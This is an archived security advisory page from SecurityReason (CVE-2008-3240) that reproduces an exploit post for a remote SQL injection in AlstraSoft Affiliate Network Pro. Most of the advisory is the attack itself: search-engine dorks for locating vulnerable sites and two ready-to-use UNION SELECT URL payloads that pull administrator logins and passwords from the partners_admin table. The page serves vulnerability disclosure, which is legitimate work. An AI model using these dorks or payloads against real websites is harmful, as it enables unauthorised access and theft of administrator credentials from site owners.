|
 |
| SecurityReason | ||
| WLB | ||
| RSS | ||
| Corporate | ||
| Services | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
| Details : SecurityAlert | ||||
 SecurityAlert : 4016 CVE : CVE-2008-3240 CWE : Not in CWE SecurityRisk : Medium  (About) Remote Exploit : Yes Local Exploit : No Victim interaction required : No Exploit Given : Yes Credit : Hussin X Published : 21.07.2008
Advisory Text : |___________________________________________________| | |AlstraSoft Affiliate Network Pro (pgm) Remote SQL Injection Vulnerability | |___________________________________________________ |---------------------Hussin X----------------------| | | Author: Hussin X | | Home : www.tryag.cc/cc | | email: darkangel_g85[at]Yahoo[DoT]com | | |___________________________________________________ | | | | | script : http://www.alstrasoft.com/affiliate.htm | | DorK : "Affiliate Network Pro" | DorK : inurl:"index.php?Act=directory" | |___________________________________________________| Exploit: www.[target].com/Script/index.php?Act=directory&joinstatus=pgmwise&pgm=-1+u nion+select+1,2,3,concat_ws(0x3a,admin_login,admin_password),5,6,7,8,9,10,1 1,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,3 6,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,6 1+from+partners_admin-- Exploit 2 : www.[target].com/Script/index.php?Act=directory&joinstatus=pgmwise&pgm=-1+u nion+select+1,2,3,concat_ws(0x3a,admin_login,admin_password),5,6,7,8,9,10,1 1,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,3 6,37,38,39,40,41,42,43,44,45+from+partners_admin-- _____________ column_name login passwd _____________ ____________________________( Greetz )____________________________ | | tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke | | Iraqihack | FAHD | mos_chori | Silic0n |_________________________________________________________________ Im IRAQi References : http://www.securityfocus.com/bid/30259 http://www.milw0rm.com/exploits/6087 http://secunia.com/advisories/31112 Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||
| Alert | ||
*BSD libc (strfmon) Multiple vulnerabilities
Maksymilian Arciemowicz discovered a Integer Overflow vulnerability in the libc library "strfmon()" function.A vulnerability could allow an attacker who successfully exploits this vulnerability to take control of the affected *BSD systems. |
||
| Apache |  |
|
» Apache Tomcat <= |
||
| PHP | |
|
» PHP 5.2.5 and prior : |
||
- 2008-03-25| Copyright © SecurityReason. All Rights Reserved. |